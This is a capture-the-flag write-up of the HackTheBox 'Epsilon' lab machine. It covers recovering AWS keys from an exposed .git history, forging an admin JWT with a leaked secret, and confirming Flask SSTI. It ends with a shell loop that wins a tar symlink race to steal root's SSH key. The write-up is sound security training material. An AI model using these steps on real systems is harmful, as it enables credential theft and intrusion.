HTB: Epsilon Writeup
Epsilon - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Epsilon |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Epsilon is a cloud-flavored Linux box built around a chain of secret reuse mistakes rather than a single flashy exploit. An exposed .git directory on the webserver leaks AWS credentials straight out of the commit history; those credentials unlock a custom AWS Lambda endpoint whose function source contains a hardcoded secret that turns out to be reused as the Flask application’s JWT signing key. Forging an admin cookie exposes an authenticated order form vulnerable to Server-Side Template Injection, which gives shell as a low-privileged user. Root is a classic but satisfying tar -h symlink race hidden inside a scheduled backup script.
TL;DR: Port 80 .git exposure → git-dumper + git log → leaked AWS access keys → aws lambda get-function (v2.23.6 against cloud.epsilon.htb) → download costume_shop_v1 source → hardcoded secret RrXCv`mrNe!K!4+5`wYq → forge HS256 JWT {"username":"admin"} → bypass /home auth → SSTI in /order costume param → RCE as tom → root cron backup.sh runs tar -chvf on world-writable /opt/backups/checksum → symlink race to /root/.ssh/id_rsa → extract from backup tarball → ssh root@localhost → root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- <TARGET_IP>Results:
22/tcp— SSH80/tcp— HTTP, returns403 Forbiddenat the root5000/tcp— HTTP, Flask login page
Service Enumeration
Port 80 gave a bare 403 Forbidden with no obvious content — a sign that content exists but directory listing/index access is blocked, so the next step was directory/file enumeration rather than treating the port as dead.
Port 5000 served a Flask-rendered login form. Credential brute-forcing and injection attempts against it were not productive — the form itself wasn’t the way in.
Enumerating port 80 turned up an exposed .git directory:
# git-dumper pulls the full repo from an exposed .git/ endpointpip3 install git-dumpergit-dumper http://<TARGET_IP>/.git ./epsilon_gitcd epsilon_gitgit log --allBecause .git/ was reachable but directory listing was forbidden, the webserver was misconfigured to serve the version-control metadata itself while blocking normal browsing — a classic “the 403 hides the vhost’s files, not its history” trap. git-dumper reconstructs the working tree object-by-object from the exposed .git internals without needing the index or listing to work.
Vulnerability Assessment
- Exposed
.gitdirectory on port 80 — full commit history retrievable, including anything ever committed and later “removed.” - Secrets committed to git history — the first commit contained AWS access/secret keys that a later commit had scrubbed from the working tree but not from history.
- Custom Lambda source contains a hardcoded secret reused elsewhere in the stack.
- Server-Side Template Injection in the authenticated
/orderendpoint (Flaskrender_template_stringon unsanitized user input). - Insecure cron backup script —
tar -hon a world-writable file, subject to a symlink race.
Initial Foothold
Git History → AWS Credentials
Walking the dumped repo’s history (not just HEAD) surfaced the AWS keys in the very first commit:
git log -p --all | grep -iE "aws_access_key|aws_secret"# leaked:# AWS Access Key ID: AQLA5M37BDN6FJP76TDC# AWS Secret Access Key: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1AThis works because git rm / later commits only remove a file from the current tree — the blob is still reachable via any earlier commit unless history is rewritten (filter-branch/BFG) and force-pushed. An exposed .git directory hands over that entire history for free.
AWS Lambda Enumeration
The repo’s source referenced a non-standard Lambda endpoint (cloud.epsilon.htb), so the leaked keys were configured against that custom endpoint rather than real AWS:
# aws-cli v1 returned HTTP 500 against this custom endpoint — v2.23.6 was requiredcurl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64-2.23.6.zip" -o awscliv2.zipunzip awscliv2.zipsudo ./aws/install --update
aws configure# AWS Access Key ID: AQLA5M37BDN6FJP76TDC# AWS Secret Access Key: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A# Default region name: us-east-1
aws --endpoint-url http://cloud.epsilon.htb lambda list-functionsaws --endpoint-url http://cloud.epsilon.htb lambda get-function --function-name costume_shop_v1The get-function call returns a presigned Code.Location URL for the deployed function’s zipped source:
wget -O code.zip "<Code.Location URL from get-function output>"unzip code.zipInside was lambda_function.py, which contained a hardcoded secret:
secret = 'RrXCv`mrNe!K!4+5`wYq'Auth Bypass via Secret Reuse
The Flask app on port 5000 signs its auth cookie with jwt.encode({...}, secret, algorithm="HS256"). The secret in the Flask source itself was masked/unavailable directly, but the same secret string turned up hardcoded in the Lambda function — a case of one secret backing two unrelated services (API auth and app session signing). Forging a token with it worked:
import jwttoken = jwt.encode({"username": "admin"}, "RrXCv`mrNe!K!4+5`wYq", algorithm="HS256")print(token)Setting this value as the auth cookie granted access to /home, past the login form entirely — no valid Flask credentials were ever needed.
SSTI → RCE as tom
The authenticated /order endpoint takes a costume form field and feeds it into render_template_string() without sanitization — textbook Flask/Jinja2 SSTI. Confirming the injection:
costume={{7*7}}returned 49 in the rendered order confirmation, proving server-side expression evaluation. Escalating this to command execution via Jinja2’s global namespace object chain led to remote code execution on the box, landing a shell as the user tom. An SSH key was then written to tom’s authorized_keys for a stable, non-webshell foothold.
cat /home/tom/user.txtUser flag: <redacted>
Working notes: the jump host’s
/tmpwas completely full during this engagement, so all staging/tooling ran out of/dev/shmand the home directory instead. A stray leftoverdis.pyin/dev/shmwas also shadowing Python’s stdlibdismodule on import — scripts had to be launched from a clean working directory to avoid that collision.
Privilege Escalation
With a shell as tom, process/cron enumeration revealed a root-owned scheduled job:
cat /usr/bin/backup.sh#!/bin/bashfile=`date +%N`/usr/bin/rm -rf /opt/backups/*/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksumsleep 5check_file=`date +%N`/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"/usr/bin/rm -rf /opt/backups/*The critical line is the second tar invocation: -h tells tar to dereference symlinks — it archives whatever a symlink points to, not the symlink itself. /opt/backups/checksum is written world-writable by the same script, and there’s a 5-second window (the sleep 5) between the checksum file being created and the second tar -chvf consuming it. Swapping that file for a symlink during the window makes root’s own cron job tar up an arbitrary file readable by root — including /root/.ssh/id_rsa.
# race the 5-second window between checksum creation and the second tar -h runwhile true; do if [ -e /opt/backups/checksum ]; then rm -f /opt/backups/checksum ln -sf /root/.ssh/id_rsa /opt/backups/checksum fidoneOnce a run of backup.sh landed the symlink inside the window, the resulting archive in /var/backups/web_backups/ contained root’s private key instead of the checksum text:
# pull the freshest tarball produced after the symlink swap landedcp /var/backups/web_backups/<latest>.tar /tmpcd /tmp && tar -xvf <latest>.tarcat opt/backups/checksum # this is now root's id_rsa, not a sha1sum
chmod 600 opt/backups/checksumssh -i opt/backups/checksum root@localhostcat /root/root.txtRoot flag: <redacted>
Attack Chain Summary
Exposed .git on :80 → git-dumper + git log (full history) → leaked AWS keys → aws-cli v2.23.6 vs cloud.epsilon.htb → lambda get-function costume_shop_v1 → hardcoded secret in lambda_function.py → forge HS256 JWT {"username":"admin"} → bypass /home auth (:5000) → SSTI in /order "costume" param → RCE as tom → user.txt → root cron backup.sh: tar -chvf follows symlinks on world-writable checksum → win 5s race, symlink checksum → /root/.ssh/id_rsa → extract from /var/backups/web_backups tarball → ssh root@localhost → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery |
git-dumper | Reconstruct exposed .git repo from the webserver |
git log -p --all | Walk full commit history for scrubbed secrets |
aws-cli (v2.23.6) | Enumerate/download the custom Lambda function source |
python3 + PyJWT | Forge the HS256 auth cookie |
Burp Suite (implied via manual /order POSTs) | Test and deliver the SSTI payload |
ssh | Foothold persistence (tom) and final root login via extracted key |
tar | Both the vulnerable primitive and the tool used to extract the winning backup |
Key Learnings
Techniques Practiced
- Enumerating full git history (not just
HEAD) from an exposed.git/directory to recover “deleted” secrets - Pivoting leaked cloud credentials against a non-standard/custom Lambda endpoint with a pinned
aws-cliversion - Recognizing secret reuse across unrelated services (API Gateway auth vs. Flask session signing) to forge a JWT
- Identifying and exploiting Flask/Jinja2 SSTI via
render_template_stringon unsanitized input - Winning a
tar -hsymlink-race condition against a timed cron job to exfiltrate root’s SSH key
Lessons Learned
- Git history is forever unless explicitly rewritten and force-pushed — scrubbing a secret from a later commit does nothing if the
.gitdirectory itself stays exposed. - Reusing the same secret across systems with different trust boundaries (a Lambda API secret and a web app’s session-signing key) turns a leak in one into a full auth bypass in the other.
- Any user-controlled string reaching
render_template_string(or equivalent template-eval sinks) is a code-execution primitive, not just an XSS risk — treat template rendering as a sink requiring the same rigor aseval. tar -h/--dereferenceinside a privileged cron job is dangerous the moment any path it touches is writable by a lower-privileged user — combine that with a time gap (sleep) and it becomes a reliable race, not a theoretical one.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MrR3boot, Epsilon — official HackTheBox writeup (Document No. D22.100.149, HackTheBox Ltd.), used here only to corroborate why the git/Lambda/SSTI/tar-symlink chain works; all IPs, command output, credentials, and specific values above are from this engagement’s own solve, not the reference.